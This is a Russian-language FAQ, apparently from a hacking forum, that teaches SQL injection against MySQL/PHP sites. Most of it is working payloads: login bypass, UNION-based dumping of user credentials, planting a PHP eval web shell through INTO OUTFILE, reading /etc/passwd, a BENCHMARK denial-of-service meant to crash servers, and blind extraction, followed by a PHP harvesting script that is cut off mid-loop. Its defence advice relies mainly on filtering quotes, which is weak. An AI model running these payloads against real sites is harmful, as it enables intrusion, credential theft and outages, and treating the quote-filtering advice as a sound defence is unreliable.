special

SQL Injection [полный FAQ]



  • 0.INTRO
  • 1. КАК НАЙТИ SQL INJECTION
  • 2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ
  • 3. ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.
  • 4. ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.
  • 5. ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL
  • 6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION
  • 7. ДОПОЛНЕНИЯ


  • 0.INTRO


    Лазив по интернету в поисках хоть какой то инфы по SQL injection ты наверно часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему либо еще что-то которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена решил написать полный FAQ по этой теме, чтобы так сказать остальные не мучались. И еще одна просьба. Те кто найдет что я что то пропустил, где то ошибся и тд пожалуйста отпишитесь ниже, трудно все таки, все удержать в голове :). Кстати это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами.

    Не первый день увлекаясь взломом ты наверно знаешь что такое SQL injection если нет то я это статья для тебя. SQL injection дальше просто инъекция это тип атаки при котором взломщиком модифицируется оригинальный запрос к БД таким образом чтобы при выполнении запроса была выведена нужная ему информация из БД.

    Для усвоения этой статьи требуется:
    а) Наличие мозгов
    б) Прямые руки

    в) Знания языка SQL

    В основном эта статья писалась как для MYSQL+PHP но есть и пара примеров с MSSQL.

    Вообще по-моему самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например самому написать уязвимый скрипт, или использовать мой приведенный в самом конце.

    Кстати советую читать все подряд потому что в каждом пункте есть что то важное для следующего пункта и т.д.

    1. КАК НАЙТИ SQL INJECTION

    Это довольно таки просто. Надо вставлять во все поля, переменные, куки двойную и одинарные кавычки.

    1.1 Второй первый

    Начнем с вот такого скрипта

    1. Предположим что оригинальный запрос к БД выглядит так:
    SELECT * FROM news WHERE id='1'; Теперь мы допишем кавычку в переменную "id", вот так - если переменная не фильтруется и включены сообщения об ошибках то вылезет что то наподобие:

    mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Так как в запросе к БД будет присутствовать лишняя кавычка:
    SELECT * FROM news WHERE id='1''; Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так (Также не помешало бы это, что бы не спутать с пунктом 1.4. Как именно описанно в этом же пункте): То есть запрос к БД станет вот таким:
    SELECT * FROM news WHERE id='1'; -- '; (Для тех кто в танке “--“ это знак начала комментария все после него будет отброшено, еще хочу обратить ваше внимание на то что после него должен быть обязательно пробел(Так написано в документации к MYSQL) и кстати перед ним тоже). Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для http://xxx/news.php?id=1
    Тому что делать с этой уязвимостью посвящен весь пункт 2.

    1.2 Второй случай

    В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает БД вот так:
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';

    Даже если этот скрипт фильтрует кавычку то все равно он остается уязвимым для инъекции. Нам нужно вместо пароля просто ввести "%" (Для оператора LIKE символ "%" соответствует любой строке) и тогда запрос станет
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';

    и нас пустят внутрь с логином 'Admin'. В этом случае мы не только нашли SQL injection но и успешно ее использовали.

    1.3 Третий случай

    Что делать если в том же скрипте авторизации отсутствует проверка на кавычку. Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа:
    SELECT * FROM users WHERE login='Admin' AND pass='123';

    К сожалению пароль '123' не подходит :) , но мы нашли иньекцию допустим в параметре 'login' и что бы зарегистрироваться под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin'; -- то есть часть с проверкой пароля отбрасывается и мы входим под ником 'Admin'.
    SELECT * FROM users WHERE login='Admin'; -- ' AND pass='123';

    А теперь что делать если уязвимость в поле 'pass'. Мы вписываем в это поле следующее 123' OR login='Admin'; -- . Запрос станет таким:
    SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin'; -- ';

    Что для БД будет совершенно индеинтично такому запросу:
    SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin');

    И после этих действий мы станем полноправным владельцем акка с логином 'Admin'.

    1.4 Четвертый случай

    Вернемся к скрипту новостей. Из языка SQL мы должны помнить что числовые параметры не ставятся в кавычки то есть при таком обращении к скрипту http://xxx/news.php?id=1 запрос к БД выглядит вот так:
    SELECT * FROM news WHERE id=1;

    Обнаружить эту иньекцию также можно подстановкой кавычки в параметр 'id' и тогда выпрыгнет такое же сообщение об ошибке:

    mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Если это сообщение не выпригивает то можно понять что кавычка фильтруется и нужно тогда вписать http://xxx/news.php?id=1 bla-bla-bla
    БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа:

    mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 bla-bla-bla'

    Если отчет об ошибках выключен тогда проверяем вот так http://xxx/news.php?id=1; --
    Должно отобразиться точно также как и http://xxx/news.php?id=1

    Теперь можно переходить к пункту 2.

    2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ

    Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1 а переделать под остальные сможете сами это не трудно :)

    2.1 Команда UNION

    Для начала самое полезное это команда UNION (кто не знает лезть в гугл )…
    Модифицируем обращение к скрипту http://xxx/news.php?id=1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким:
    SELECT * FROM news WHERE id='1' UNION SELECT 1 -- ';


    2.1.1.1 Подбор количества полей(Способ 1)

    Не забывая про то что количества столбцов до UNION и после должны соответствовать наверняка вылезет ошибка (если только в таблице news не одна колонка) наподобие:

    mysql_query(): The used SELECT statements have a different number of columns

    В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответсвовало). Делаем это так:

    http://xxx/news.php?id=1' UNION SELECT 1, 2 --
    Ошибка. «The used SELECT statements have a different number of columns»

    http://xxx/news.php?id=1' UNION SELECT 1,2,3 --
    Опять ошибка.


    http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
    О! Отобразилось точно также как и http://xxx/news.php?id=1
    значит количество полей подобрано, то есть их 6 штук…


    2.1.1.2 Подбор количества полей(Способ 2)

    А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа:

    http://xxx/news.php?id=1' GROUP BY 2 --

    Будет отображен без ошибок если количество полей меньше или равно 2.
    Делаем запрос такого типа:

    http://xxx/news.php?id=1' GROUP BY 10 --

    Упс... Появилась ошибка типа.

    mysql_query(): Unknown column '10' in 'group statement'

    Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос

    http://xxx/news.php?id=1' GROUP BY 5 --


    Опа ошибки нет значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос:

    http://xxx/news.php?id=1' GROUP BY 7 --

    Ой опять ошибка... :(

    mysql_query(): Unknown column '7' in 'group statement'

    Значит количество больше либо равно 5 но меньше чем 7. Ну и дальше делаем запрос

    http://xxx/news.php?id=1' GROUP BY 6 --

    Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6.

    2.1.1.3 Подбор количества полей(Способ 3)

    Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше.

    mysql_query(): Unknown column '10' in 'order clause'

    2.1.2 Определение выводимых столбцов

    Я так думаю что многим из нас точно такая страница как и http://xxx/news.php?id=1 не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Самое простое это поменять "id" с '1' на '-1' (либо на '9999999')
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде то остальные подпункты пункта 2.1 можно пропустить.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    Эта таже XSS только через запрос к базе. Пример:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS.

    2.1.4 Названия столбцов/таблиц

    Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить
    Если не знаешь… Тут два пути.

    2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5

    Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME-имена таблиц.
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так:

    Вывод первой строки:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --

    Вывод второй строки:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д.

    Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем… Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 1,1 --

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 2,1 --
    и т.д.

    И вот мы нашли поля login, password.

    2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA

    Это жопный вариант :(.Тут в силу вступает обычный брутофорс... Пример:

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы --

    Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа:

    mysql_query(): Table 'Имя_таблицы' doesn't exist

    Ну ввели мы к своему счастью Users пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то что существет таблица Users и нужно приступить к перебору столбцов.

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --

    Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:

    mysql_query():Unknown column 'Имя_столбца'' in 'field list'

    Там где пропадает сообщение об ошибке значит такой столбец существует.

    И вот таким образом мы узнали что в таблице Users есть столбцы login, password.

    2.1.5 Вывод информации

    Обращение к скрипту таким образом http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 1,1 -- Выводит нам логин и пароль первого юзера из таблицы Users.

    2.2 Работа с файлами

    2.2.1 Запись в файл

    Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Либо такая конструкция SELECT ... INTO DUMPFILE они почти похоже и можно использовать любую.

    Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt'; --


    Для нее работает несколько ограничений.
    • Запрещенно перезаписывание файлов
    • Требуются привилегии типа FILE
    • (!)Обязательны настоящие кывычки в указании имени файла

    А вот что бы нам мешало сделать веб шел? Вот например так:

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; --

    Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема.

    2.2.2 Чтение файлов

    Рассмотрим функцию LOAD_FILE

    Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6;

    Для нее есть также несколько ограничений.
    • Должен быть указан полный путь к файлу.
    • Требуются привилегии типа FILE
    • Файл должен находится на одном и том же сервере
    • Размер данного файла должен быть меньше указанного в max_allowed_packet
    • Файл должен быть открыт для чтения юзером из-под которого запущен MYSQL

    Если функции не удастся прочитать файл то она возвращает NULL.

    2.3 DOS атака на SQL сервер

    В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки...

    Ближе к делу…
    Функция BENCHMARK выполняет одно и тоже действие несколько раз.
    SELECT BENCHMARK(100000,md5(current_time));

    То есть здесь эта функция 100000 раз делает md5(current_time) что у меня на компе занимает приблизительно 0.7 секунды... Казалось что здесь такого... А если попробовать вложенный BENCHMARK?

    SELECT BENCHMARK(100000,BENCHMARK(100000,md5(current_time )));

    Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset :).
    Пример Доса в нашем случае:

    http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6; --

    Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).
    3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.

    3.1 Посимвольный перебор

    Этот случай нужен нам если http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например http://xxx/news.php?id=1 будет отлично от http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит.

    Как мы помним запрос к БД у нас выглядит так
    SELECT * FROM news WHERE id='1';

    Теперь мы его модифицируем через уязвимый парамтр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
    SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- ';

    Вот так:

    http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') --

    Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100
    oсновной запрос становиться таким
    SELECT * FROM news WHERE id='-1' OR id=1

    и выполняется точно также как и при обращении к скрипту http://xxx/news.php?id=1 а если код этого числа меньше то основной запрос становиться таким
    SELECT * FROM news WHERE id='-1' OR id=0

    и выполняется точно также как и при http://xxx/news.php?id=0 Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=100,'1','0')
    Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так:

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=200,'1','0')
    Вернулся 0 значит 100<= код символа <200.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=150,'1','0')
    Опять вернулся 0 значит 100<= код символа <150.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=125,'1','0')
    И снова вернулся 0 значит 100<= код символа <125.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=113,'1','0')
    Вернулся 1 следовательно113<= код символа <125.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=118,'1','0')
    Возвращается 0 следовательно113<= код символа <118.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=115,'1','0')
    113<= код символа <115.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1) =113,'1','0')
    Вернулся 0 значит код символа не равен 113.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)=114,'1','0')
    Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0')

    И заново повторяем все предыдущие шаги.

    3.2 Посимвольный перебор с помощью BENCHMARK

    Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
    SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())));

    выполняется ооочень долго, и на основе задержек (нет, не пугайся не тех задержек, что сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция USER()).

    http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --

    Запрос станет таким:

    SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- ';


    И теперь по аналогии с предыдущим пунктом мы будем перебирать строку USER(). Только в данном случае вместо 0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул 0 и соответственно если без каких либо задержек то запрос возвращает 1.

    Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов:

    http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW())))

    Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до той степени чтобы вы могли точно судить была ли задержка или нет по сравнению с

    http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW())))

    который вернет 1.

    Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак.

    ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.

    3.3 Посимвольный перебор с помощью отчета об ошибках

    Этот пункт написан на основе (только на основе, без перепечаток!) статьи "Новая альтернатива Benchmark'y или эффективный blind SQL-injection" автор Elekt, респект ему.

    Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0 а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля но ВКЛЮЧЕН(!) отчет об ошибках.
    SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)

    Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.

    mysql_query():Subquery returns more than 1 row

    Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
    SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- ';

    Как видно из этого запроса если код символа будет больше или равен 100 функция IF() возвращает 1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
    SELECT 1 UNION SELECT 2

    который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул 0.

    Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.

    3.4 Иньекция после ORDER BY

    Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
    SELECT * FROM news ORDER BY $by

    ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
    http://xxx/news.php?by=(id*1)
    http://xxx/news.php?by=(id*-1)
    Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
    Первая новость Вторая новость Третья новость

    А во второй ложь:
    Третья новость Вторая новость Первая новость

    Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
    http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=112,1,-1))
    Чтож вывелся обратный порядок новостей => ложь
    http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
    Опять ложь
    http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=114,1,-1))
    О! Прямой порядок новостей => истина
    Переводим код символа 114 в символ r. Переходим к следующему символу и тд.

    4.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.


    4.1 Фильтруется пробел

    Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. А также можно перейти к пункту 4.2.

    4.2 Фильтруется символ/строка

    Есть интересная функция которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так
    SELECT ASCII('*');

    только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию CHAR() так
    SELECT CHAR(42, 42, 42);

    Выведет три звездочки.Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'login'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так
    SELECT HEX('login');

    Выдаст '6C6F67696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x6C6F67696E ' это юзать без CHAR() так
    SELECT 0x6C6F67696E FROM User;
    либо с так
    SELECT CHAR(0x6C,0x6F,0x67,0x69,0x6E) FROM User;


    5.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL


    Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: google.com (Большой справочник языку SQL).

    ----------------------------
    USER()-функция выводит логин юзера под которым мы подключены к MYSQL
    DATABASE()-функция выводит название БД к которой мы подключены
    VERSION()-выводит версию MYSQL
    ----------------------------
    ASCII(str)-возвращает ASCII код первого символа в строке "str"
    CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
    HEX(str)-возвращает 16-ричный эквивалент строки "str".
    ----------------------------
    LENGTH(str)- Возвращает длину строки "str".
    SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
    LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
    ----------------------------
    LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
    CONCAT(param1,param2,...) -объединение подстрок в одну строку.
    CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
    ----------------------------
    IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
    ----------------------------
    expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
    ----------------------------
    AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla') Часто бывают траблы с кодировкой и можно чтобы сильно не заморачиваться используют эту конструкцию.
    ----------------------------



    Теперь о комментариях в Mysql
    1)# символ начала комментария в MySQL. Пример:
    SELECT pass,login FROM users #This is comment

    что аналогично запросу
    SELECT pass,login FROM users

    2)-- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
    SELECT pass,login FROM users -- This is comment

    3)/* */ аналог комментария СИ в MySQL. Закрывающая часть необязательна. Для MySQL индеинтична пробелу. Примеры:
    SELECT pass,login FROM users /*This is comment SELECT pass,login/*This is comment*/FROM users SELECT/**/pass,login/**/FROM/**/users

    4) /*!int*/ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
    SELECT pass/*!32302 ,login*/FROM users
    Выведет столбец login если версия MySQL равна либо выше 3.23.02

    6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION


    Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.

    А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.

    1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
    -------------------------------
    2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
    -------------------------------
    3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1

    7.ДОПОЛНЕНИЯ


    Код уязвимого скрипта
    <?php
    //Настройки БД
    $script['mysql_server']='localhost';//Хост
    $script['mysql_login']='root';//Логин
    $script['mysql_password']='';//Пароль
    $script['mysql_db']='test';//Имя БД
    
    //Сам скрипт
    $body="";
    $body.="<html>
    <head><title>Новости</title></head>
    <body>
    
    ";
    
    mysql_connect($script['mysql_server'], $script['mysql_login'], $script['mysql_password']) or die('Не могу подключиться к серверу');
    mysql_select_db($script['mysql_db']) or die('Не могу подключиться к БД');
    
    if(!empty($_GET['id']))//Вывод одной новости
    {
    	$body.="<h3>Просмотр новости</h3> \n<br>";
    	$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос
    	$result=mysql_query($zapros);
    	echo(Mysql_error());//Вывод ошибки
    	$data=mysql_fetch_row($result);
    	//Вывод результата запроса
    	$body.="Заголовок: <b>".$data['3']."</b>\n";
    	$body.="<hr><pre>".$data['4']."</pre>\n";
    	$body.="<hr>Добавленно ".$data['5']." ".$data['1']." в ".$data['2']."\n<br><br>";
    	$body.="<a href='?'>Назад</a>";
    }
    else //Ну и простое отображение всех новостей(шоб понятней было где скуль)
    {
    
    	$body.="<h3>Все новости</h3> \n<br>";
    	$zapros="SELECT * FROM news;";
    	$result_z=mysql_query($zapros);
    	$count_str=mysql_num_rows($result_z);
    	for($i=1;$i<=$count_str;$i++)
    	{
    		$result=@mysql_fetch_assoc($result_z);
    		$body.=$i.".<a href='?id=".$i."'>".$result['caption']."<a/><br>\n";
    	}
    }
    $body.="</body></html>";
    echo($body);
    ?>
    

    Дамп базы
    CREATE TABLE `news` (
      `id` int(11) NOT NULL default '0',
      `date` varchar(8) NOT NULL default '',
      `time` varchar(7) NOT NULL default '',
      `caption` varchar(50) NOT NULL default '',
      `text` text NOT NULL,
      `avtor` varchar(50) NOT NULL default ''
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
    
    INSERT INTO `news` VALUES (1, '23/03/07', '12:30', 'Здравствуй вася :)', 'Ну что начинай хакать этот скриптег :)\r\nИ побыстрее а то малоли... :P', 'I-I()/Ib');
    INSERT INTO `news` VALUES (2, '24/03/07', '11:10', 'Гы а это для разнообразия', 'А то я подумал вдруг мало будет новостей :))\r\nТолько за дизайн извиняюсь... както кривовато смотриться ну да лано...', 'I-I()/Ib');
    
    CREATE TABLE `users` (
      `login` varchar(20) NOT NULL default '',
      `password` varchar(20) NOT NULL default ''
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
    
    INSERT INTO `users` VALUES ('Admin', 'PaSsWoRd');
    INSERT INTO `users` VALUES ('User', '123456');
    INSERT INTO `users` VALUES ('Looser', 'big_password');
    

    Вообщем надеюсь вы поняли что надо с этим сделать...

    А теперь что-то пополезнее.

    Скрипт для вывода инфы через LIMIT или еще что нибудь этого рода
    <?php
    $set['b']='121212';//Что находится перед выводиомй инфой
    $set['e']='212121';//Что находится после выводимой инфы
    $set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
    $set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
    $set['c']='+++counter+++';//Строка счетчика
    $set['f']='0';//Начальное значение счетчика
    $set['s']='500';//Конечное значение счетчика
    $set['h']='test';//Хост
    
    if(!empty($_GET['b']))$set['b']=$_GET['b'];
    if(!empty($_GET['e']))$set['e']=$_GET['e'];
    if(!empty($_GET['u']))$set['u']=$_GET['u'];
    if(!empty($_GET['z']))$set['z']=$_GET['z'];
    if(!empty($_GET['c']))$set['c']=$_GET['c'];
    if(!empty($_GET['f']))$set['f']=$_GET['f'];
    if(!empty($_GET['s']))$set['s']=$_GET['s'];
    if(!empty($_GET['h']))$set['h']=$_GET['h'];
    
    for($i=$set['f'];$i<=$set['s'];$i++)
    {
